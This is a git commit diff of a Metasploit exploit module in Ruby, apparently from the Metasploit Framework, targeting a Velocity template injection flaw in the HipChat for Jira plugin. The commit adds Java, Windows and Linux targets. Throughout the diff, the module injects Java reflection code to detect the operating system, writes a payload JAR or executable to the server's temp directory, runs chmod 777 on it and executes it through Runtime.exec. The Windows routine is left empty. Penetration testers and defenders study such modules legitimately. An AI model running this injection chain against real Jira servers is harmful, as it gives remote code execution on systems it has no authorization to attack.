First commit to support Windows for jira_hipchat_template

In Java
bug/bundler_fix
wchen-r7 2015-12-03 02:39:55 -06:00
parent 9697ce5033
commit 83824b2902
1 changed files with 173 additions and 41 deletions

View File

@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote
for Jira that allows team collibration at real time. A message can be used to inject Java for Jira that allows team collibration at real time. A message can be used to inject Java
code into a Velocity template, and gain code exeuction as Jira. Authentication is required code into a Velocity template, and gain code exeuction as Jira. Authentication is required
to exploit this vulnerability, and you must make sure the account you're using isn't to exploit this vulnerability, and you must make sure the account you're using isn't
protected by captcha. protected by captcha. By default, Java payload will be used because it is cross-platform,
but you can also specify which native payload you want (Linux or Windows).
HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
@ -47,9 +48,12 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'BID', '76698' ], [ 'BID', '76698' ],
[ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ] [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
], ],
'Platform' => 'linux', 'Targets' =>
'Arch' => ARCH_X86, [
'Targets' => [[ 'HipChat for Jira plugin', {} ]], [ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'RPORT' => 8080 'RPORT' => 8080
@ -66,11 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('JIRAPASS', [false, 'Jira Password', '']), OptString.new('JIRAPASS', [false, 'Jira Password', '']),
OptString.new('TARGETURI', [true, 'The base to Jira', '/']) OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
], self.class) ], self.class)
register_advanced_options(
[
OptString.new('WriteDir', [true, 'A directory where we can place our payload', '/tmp'])
], self.class)
end end
@ -93,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
# I don't really care which command to execute, as long as it's a valid one. # I don't really care which command to execute, as long as it's a valid one.
# If the command is valid, it should return {"message"=>"0"}. # If the command is valid, it should return {"message"=>"0"}.
# If the command is not valid, it should return an empty hash. # If the command is not valid, it should return an empty hash.
c = get_exec_code('echo') c = get_exec_code('whoami')
res = inject_template(c, cookie) res = inject_template(c, cookie)
json = res.get_json_document json = res.get_json_document
if json['message'] && json['message'] == '0' if json['message'] && json['message'] == '0'
@ -295,6 +294,18 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def get_target_platform(cookie)
c = get_os_detection_code
res = inject_template(c, cookie)
json = res.get_json_document
if json['message']
return json['message']
end
nil
end
# Returns Java code that can be used to inject to the template in order to write a file. # Returns Java code that can be used to inject to the template in order to write a file.
# #
# @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code, # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
@ -309,6 +320,50 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def get_java_path_code
get_java_property_code('java.home')
end
def get_os_detection_code
get_java_property_code('os.name')
end
def get_temp_path_code
get_java_property_code('java.io.tmpdir')
end
def get_java_property_code(prop)
%Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
end
def get_jar_exec_code(java_path, war_path)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === war_path
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
war_path.gsub!(/Program Files/, 'PROGRA~1')
cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
end
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
end
# Returns Java code that can be used to inject to the template in order to execute a file.
#
# @param cmd [String] command to execute
# @return [String]
def get_exec_code(cmd)
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
end
# Returns Java code that can be used to inject to the template in order to chmod a file. # Returns Java code that can be used to inject to the template in order to chmod a file.
# #
# @param fname [String] File to chmod # @param fname [String] File to chmod
@ -331,15 +386,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
# Returns Java code that can be used to inject to the template in order to execute a file.
#
# @param cmd [String] command to execute
# @return [String]
def get_exec_code(cmd)
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
end
# Returns a boolean indicating whether the module has a username and password. # Returns a boolean indicating whether the module has a username and password.
# #
# @return [TrueClass] There is an empty cred. # @return [TrueClass] There is an empty cred.
@ -383,13 +429,106 @@ class Metasploit3 < Msf::Exploit::Remote
res res
end end
def target_platform_compat?(target_platform)
target.platform.names.grep(/#{target_platform}|java/i).empty? ? false : true
end
# Returns the normalized file path for payload. # Returns the normalized file path for payload.
# #
# @return [String] # @return [String]
def normalize_payload_fname(fname) def normalize_payload_fname(tmp_path, fname)
Rex::FileUtils.normalize_unix_path(datastore['WriteDir'], fname) # A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end end
def get_tmp_path(cookie)
c = get_temp_path_code
res = inject_template(c, cookie)
json = res.get_json_document
if json['message']
return json['message']
end
''
end
def get_java_home_path(cookie)
c = get_java_path_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
def exploit_as_java(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
jar = payload.encoded_jar
java_home = get_java_home_path(cookie)
register_files_for_cleanup(jar_fname)
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
print_status("Found Java home path: #{java_home}")
end
print_status("Attempting to write #{jar_fname}")
c = get_write_file_code(jar_fname, jar)
inject_template(c, cookie)
print_status("Executing #{jar_fname}")
c = get_jar_exec_code(java_home, jar_fname)
inject_template(c, cookie)
end
def exploit_as_windows(cookie)
end
def exploit_as_linux(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(fname, new_fname)
print_status("Attempting to write #{fname}")
p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
c = get_write_file_code(fname, p)
inject_template(c, cookie)
print_status("chmod +x #{fname}")
c = get_exec_code("chmod 777 #{fname}")
inject_template(c, cookie)
print_status("New file will be #{new_fname}")
c = get_dup_file_code(fname, new_fname)
inject_template(c, cookie)
print_status("Executing #{new_fname}")
c = get_exec_code(new_fname)
inject_template(c, cookie)
end
def exploit def exploit
if jira_cred_empty? if jira_cred_empty?
fail_with(Failure::BadConfig, 'Jira username and password are required.') fail_with(Failure::BadConfig, 'Jira username and password are required.')
@ -399,29 +538,22 @@ class Metasploit3 < Msf::Exploit::Remote
cookie = do_login cookie = do_login
print_good("Successfully logged in as #{jira_username}") print_good("Successfully logged in as #{jira_username}")
fname = normalize_payload_fname(Rex::Text.rand_text_alpha(5)) target_platform = get_target_platform(cookie)
new_fname = normalize_payload_fname(Rex::Text.rand_text_alpha(6)) print_status("Target being detected as: #{target_platform}")
register_files_for_cleanup(fname, new_fname)
print_status("Attempting to write #{fname}") unless target_platform_compat?(target_platform)
p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform) fail_with(Failure::BadConfig, 'Selected target does not match the target.')
c = get_write_file_code(fname, p) end
inject_template(c, cookie)
print_status("chmod +x #{fname}") case target.name
c = get_exec_code("chmod 777 #{fname}") when /java$/i
inject_template(c, cookie) exploit_as_java(cookie)
when /windows$/i
exploit_as_windows(cookie)
when /linux$/i
exploit_as_linux(cookie)
end
# Unfortunately, it seems very tricky to properly close the file handle due to the way we are injecting code.
# If the file is buys, we won't be able to execute it. A way to work around that is to duplicate the file,
# and the new one should be executable.
print_status("New file will be #{new_fname}")
c = get_dup_file_code(fname, new_fname)
inject_template(c, cookie)
print_status("Executing #{new_fname}")
c = get_exec_code(new_fname)
inject_template(c, cookie)
end end
def print_status(msg='') def print_status(msg='')